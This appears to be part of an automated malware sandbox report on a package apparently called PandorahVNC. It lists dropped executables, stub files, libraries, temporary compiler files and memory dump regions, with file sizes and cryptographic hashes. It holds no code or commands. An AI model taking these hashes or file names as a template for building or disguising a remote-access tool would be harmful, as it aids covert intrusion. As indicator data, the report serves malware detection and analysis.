05dffab67a19f7925b13b3d68e6e8c72015ff920664c5e26a3d18fe2b10f9c47

SHA512
2c2a8a4925174ca5ac4b42434f9d7cd82d7c3a95fafd242f3435c13114a98daf4f15b1ec8c48be74341f70d800c80072f85ecec4b193e06ba379dfc0a6f02958

Download Submit
C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\Client.exe

Filesize
158KB

MD5
0234362ccf92b3341d400e67b5221c6f

SHA1
53d5032fc48c475cdd9b346d949ddb2378682a6b

SHA256
fb31c1d2d463e4cc59500eee0c5273cee808ec259c7e9a7b3bdab1ee4fbd223b

SHA512
44d597c74fc6d6285a1eaa5702ca450db159724e5f16845ed42430b6285f868c3a585835c3c0bb5503ffe8a03351aa2162b831309d469229f22edbb3a4af018c

Download Submit
C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\Client.exe

Filesize
158KB

MD5
95bc6f7cadc00898e530eb43bcfb815d

SHA1
5b1d225b0560525217213f530d6fc62617ca434e

SHA256
d7393166ea3216ad047cf514149014b991cf6a80b253134337adc9fa41cf0c22

SHA512
df8f0bbf1cf1aea106cf3e30a1ff3abc9ff9788eb52aedc9288f2905b15e7c67a14119ee23f802a1b035d77361cd75299d1160a2ea78212ac28f5f949898d627

Download Submit
C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\DevExpress.Data.Desktop.v21.2.dll

Filesize
675KB

MD5
6674898c963081e76c7168d45b1a57cd

SHA1
97717ef70d9bdde1568cf544fb3b2402321c1b25

SHA256
d769d543d9166e40bca4decf4b5ee758b4b652064790879780cc1521571763b2

SHA512
32021dd7e2595e2fac0bc6e6a4502d67543266714415888c267168c8ed34612a57a30ed0b07cf7cc78339626220c5d2a8770f5aeaaffd3367433046593500242

Download Submit
C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\DevExpress.Data.v21.2.dll

Filesize
5.1MB

MD5
ba67d6f97a1602d7851e13811f34b257

SHA1
5a40175c27510f1bb59f32f3fea37ff1ff5e2414

SHA256
4f6510675493bbbc8e0870245247c0219456b51d0044237c4c861a67834a337e

SHA512
57b22c6a1425e8b0e637bdc15994902e5623d1921a6a2a0bad00dec1e2f97911d9904fac0c06c3bd3ec3cf9523e263cd2e8e12fd8748f66f867ebc3dce85c22a

Download Submit
C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\DevExpress.Utils.v21.2.dll

Filesize
17.7MB

MD5
9ce1f7fb40d7c257536b6eefbaf50fdb

SHA1
022664d1870fec449fa0fc69abc854e4ac8bf165

SHA256
6e28b52f542833d5aeacee111ebcbb35af5ab080ef542172a9dc9f0f1004da44

SHA512
14deb1593111ca6a67c41abb60ee2105286dfce34ab525d6d57b9233f083dfdd3b1a8865d5515ac23fe0f401d85dbe973e020fef015e7adb3efda8f8ab9fe572

Download Submit
C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\DevExpress.XtraBars.v21.2.dll

Filesize
6.5MB

MD5
73b7ae515035721d1b30d3ad00628be0

SHA1
dce18955cd395858cace1ce58a29abc4fbb805de

SHA256
9f788e7aa3f1a2be7f02419a8fd74114e5e2a7bb134810aa6cf762cbc91c1a56

SHA512
4c018f1bbf3eb947410d4910208b050b60e722854066e970e9963fc79ca17fc26e64d2f3b7555657576950d036623b0d6c67a78a009feda02d4c30eeb114d1dc

Download Submit
C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\DevExpress.XtraEditors.v21.2.dll

Filesize
7.5MB

MD5
e6bdc7adbfa92810e66497d3561c5e2b

SHA1
c9379603d4fcfad4e1874f956247428f27e5ce79

SHA256
19d4e54a19fc830f8f4b6911fe76d74400fe23798a40b5941114437462b90ca9

SHA512
5c9d19b6e4521386162de18004103cc4ad9e2fea91ac4434f8c125cdb5b35335e9659fd19f5507b849a768f96154db90869db336aa76d9b9e760e254f01c7dfc

Download Submit
C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\DevExpress.XtraGrid.v21.2.dll

Filesize
3.6MB

MD5
f65ebb9d378cf034eb5d8d0742ca95d1

SHA1
ad883ba15f66287c749239fbec20bf4fef91b0f9

SHA256
35674b0093a4134505ff3cf40c3b07ab428c152f7ba41f93dd1775b6013b87c2

SHA512
ac347de3933f3a3214a33a593ad2f963d6427b69685332982707002296b595707595a6e5e3662f44447f6247fdddb0298479d600a2672ed1dcbb50a520467609

Download Submit
C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\DevExpress.XtraLayout.v21.2.dll

Filesize
2.0MB

MD5
012422aff6771f7be353109f08bf4684

SHA1
535a3054abf0ef1f6c2a220bd9741962c8e58dbe

SHA256
dc2e06f341325a7c65c121e443d0ca3dd0a1ea5ee5ed21ae51029303394de00f

SHA512
a3ca2f8d991a3823b58f81bfa5c08b7c44a985d029d8838ac501a08bef3cb90ceee3fdbb0e6d2b66544061b05e8fe3563d3868b0d3266b3b280cc39e0b2f5c1b

Download Submit
C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\Pandorah v1.4.exe

Filesize
5.1MB

MD5
3fe52ef1496671741e0cfb8be67100f8

SHA1
68152d06cd2076764b44f9892a8c2031ff988845

SHA256
9ace7f9e68924f030786b62f855da4fdaa88cd06795805afb7d8ea8f23dd2d76

SHA512
b3edbce17ac9736fbb5de58081b161cf34b147b1843be947d03f6e296e47e7b0b14d35630ae78e3f88567f8c582966fae6774838ab8ab137acc4a66e68f887f3

Download Submit
C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\PandorahVNC.exe

Filesize
5.0MB

MD5
f1984279714a111cb603f71457042255

SHA1
d7b0b12dba09db0bfa318a2d62a1ac6781313112

SHA256
e6986e80395ec6fb4fc2450dd4de5ea81ba8d489a1464a1108a98f6541967af6

SHA512
5f2aee19063150d540477fa920677cafac2304bbe5febbde0e0e0a299da437fa7a7eae0629f36e6cbe3cf456c686195b3acfac34a4a079c20ae9eacff9fdf33f

Download Submit
C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\PandorahVNC.exe.config

Filesize
3KB

MD5
a1c2a2870001b66db41bcb020bff1c2d

SHA1
8c54c6a3564c8892aa9baa15573682e64f3659d9

SHA256
0aa9e3ab5c88c5761120206eff5c6e35c90288290b3647a942059705ef5b75e5

SHA512
b3bf53120203cfaa951f301b532849cb382d2404c9503916bc1ca39925a9a1530b01045f341fc75d47d65130d0187dcbbf4288b9ef46aa81624b59ba7802794b

Download Submit
C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\Stub.bin

Filesize
158KB

MD5
52cf7937369803694284f5047c3ec1c5

SHA1
fae5a134b78e52e7dfd46b8bd04c01e1b044b709

SHA256
3b2ab6f350d355c4457c0e0e7cdf43f58d71259c7ca243caf75fcee5bf265a6d

SHA512
fcefb2e3bc3a51c4c94093da253231d05364084bb533ed64eb9c406e30ec9fedba9d665c4fa27c2965a7cbda82ced6a672f6b926d626d49e01ef7ed4be591efa

Download Submit
C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\System.Buffers.dll

Filesize
20KB

MD5
ecdfe8ede869d2ccc6bf99981ea96400

SHA1
2f410a0396bc148ed533ad49b6415fb58dd4d641

SHA256
accccfbe45d9f08ffeed9916e37b33e98c65be012cfff6e7fa7b67210ce1fefb

SHA512
5fc7fee5c25cb2eee19737068968e00a00961c257271b420f594e5a0da0559502d04ee6ba2d8d2aad77f3769622f6743a5ee8dae23f8f993f33fb09ed8db2741

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\u5dx2n4d\CSCFE2A33B0301449D5814FE5F9DFE6422.TMP

Filesize
652B

MD5
94996ad49751549450dd4053f0d6000f

SHA1
f4f6798c01881f2f61020d69090ef648967f151b

SHA256
d5c99a266f62f85ea6afd6dde55c45a78394b2e41cbb65d6927375b4be5316b1

SHA512
d93f47bdedaa889ce32104f0bfbab45c4941d6b14151ec76c0a7b9e19255380d35a934e1eae722f74c1f6b7366f5e2f2d0c39ab2d8f0708ea81a8d916b400610

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\u5dx2n4d\u5dx2n4d.0.cs

Filesize
375B

MD5
c4f59366be6008ba572e3126ba8ec495

SHA1
b7355b6bd3a6f3efb3ce0953ba361428bd4b3734

SHA256
c5a13dc875ef77ddf57f9852b60b245c693c6be273797bac9477e84d8926348e

SHA512
7f22eae4b58fa438cda221e0b4dee105f008e20ff1669486b9ec2efc746e6ce0e528d9dd3d39c50a9a385bfb52cd9cc3786b79b468c46e9446a90758f15f4196

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\u5dx2n4d\u5dx2n4d.cmdline

Filesize
369B

MD5
69c7f66b4e7da23ccbc54c1ef1f30ab1

SHA1
db1f2856fb638440738ce3ba38b63b52413c5bad

SHA256
713e53a15b5721b0add19b99731b447ca42cfe54ca735973d03196b4a314c4b3

SHA512
169143373f8bc1468a13ab65e30c61632d0d956c47e73ee2b7b27c1c536627153fb1d438bdbef6dcf26144011f6ad11d5f204c3268c6a880fa1df25f66716cba

Download Submit
memory/3392-104-0x0000000006200000-0x000000000629C000-memory.dmp

Filesize
624KB

Download
memory/3392-113-0x000000000DF50000-0x000000000DFA2000-memory.dmp

Filesize
328KB

Download
memory/3392-96-0x000000000BBB0000-0x000000000BF44000-memory.dmp

Filesize
3.6MB

Download
memory/3392-101-0x000000000CBD0000-0x000000000CDDE000-memory.dmp

Filesize
2.1MB

Download
memory/3392-102-0x000000000CDE0000-0x000000000D137000-memory.dmp

Filesize
3.3MB

Download
memory/3392-103-0x000000000D7A0000-0x000000000D84A000-memory.dmp

Filesize
680KB

Download
memory/3392-91-0x000000000BF50000-0x000000000C5CC000-memory.dmp

Filesize
6.5MB

Download
memory/3392-92-0x00000000745A0000-0x0000000074D51000-memory.dmp

Filesize
7.7MB

Download
memory/3392-108-0x000000000DED0000-0x000000000DF4E000-memory.dmp

Filesize
504KB

Download
memory/3392-121-0x0000000001550000-0x0000000001560000-memory.dmp

Filesize
64KB

Download
memory/3392-87-0x00000000745AE000-0x00000000745AF000-memory.dmp

Filesize
4KB

Download
memory/3392-117-0x000000000B660000-0x000000000B674000-memory.dmp

Filesize
80KB

Download
memory/3392-86-0x000000000B750000-0x000000000B788000-memory.dmp

Filesize
224KB

Download
memory/3392-69-0x00000000059F0000-0x0000000005A82000-memory.dmp

Filesize
584KB

Download
memory/3392-85-0x000000000B6E0000-0x000000000B70E000-memory.dmp

Filesize
184KB

Download
memory/3392-109-0x00000000061E0000-0x00000000061FA000-memory.dmp

Filesize
104KB

Download
memory/3392-84-0x0000000006CE0000-0x0000000006CEA000-memory.dmp

Filesize
40KB

Download
memory/3392-123-0x0000000001570000-0x0000000001578000-memory.dmp

Filesize
32KB

Download
memory/3392-82-0x00000000745A0000-0x0000000074D51000-memory.dmp

Filesize
7.7MB

Download
memory/3392-81-0x0000000006520000-0x00000000065D0000-memory.dmp

Filesize
704KB

Download
memory/3392-77-0x0000000008C90000-0x0000000009418000-memory.dmp

Filesize
7.5MB

Download
memory/3392-97-0x000000000B870000-0x000000000B890000-memory.dmp

Filesize
128KB

Download
memory/3392-61-0x00000000745AE000-0x00000000745AF000-memory.dmp

Filesize
4KB

Download
memory/3392-62-0x00000000006E0000-0x0000000000BEC000-memory.dmp

Filesize
5.0MB

Download
memory/3392-63-0x0000000005470000-0x0000000005482000-memory.dmp

Filesize
72KB

Download
memory/3392-73-0x0000000006690000-0x0000000006BB2000-memory.dmp

Filesize
5.1MB

Download
memory/3392-64-0x0000000005BB0000-0x0000000006156000-memory.dmp

Filesize
5.6MB

Download
memory/3392-68-0x0000000007330000-0x00000000084F4000-memory.dmp

Filesize
17.8MB

Download
memory/4276-131-0x0000011B20640000-0x0000011B2066E000-memory.dmp

Filesize
184KB

Download
memory/4616-155-0x0000000005CD0000-0x0000000005CF2000-memory.dmp

Filesize
136KB

Download
memory/4616-156-0x0000000005D70000-0x0000000005DD6000-memory.dmp

Filesize
408KB

Download
memory/4616-165-0x0000000006320000-0x000000000633E000-memory.dmp

Filesize
120KB

Download
memory/4616-166-0x00000000063B0000-0x00000000063FC000-memory.dmp

Filesize
304KB

Download
memory/4616-167-0x0000000007960000-0x0000000007FDA000-memory.dmp

Filesize
6.5MB

Download
memory/4616-168-0x0000000006820000-0x000000000683A000-memory.dmp

Filesize
104KB

Download
memory/4616-154-0x0000000005670000-0x0000000005C9A000-memory.dmp

Filesize
6.2MB

Download
memory/4616-153-0x0000000002E80000-0x0000000002EB6000-memory.dmp

Filesize
216KB

Download
memory/4616-181-0x00000000077C0000-0x00000000077C8000-memory.dmp

Filesize
32KB

Download
memory/4964-136-0x0000000006250000-0x00000000062A0000-memory.dmp

Filesize
320KB

Download
memory/4964-133-0x0000000005F70000-0x0000000005FD6000-memory.dmp

Filesize
408KB

Download
memory/4964-132-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download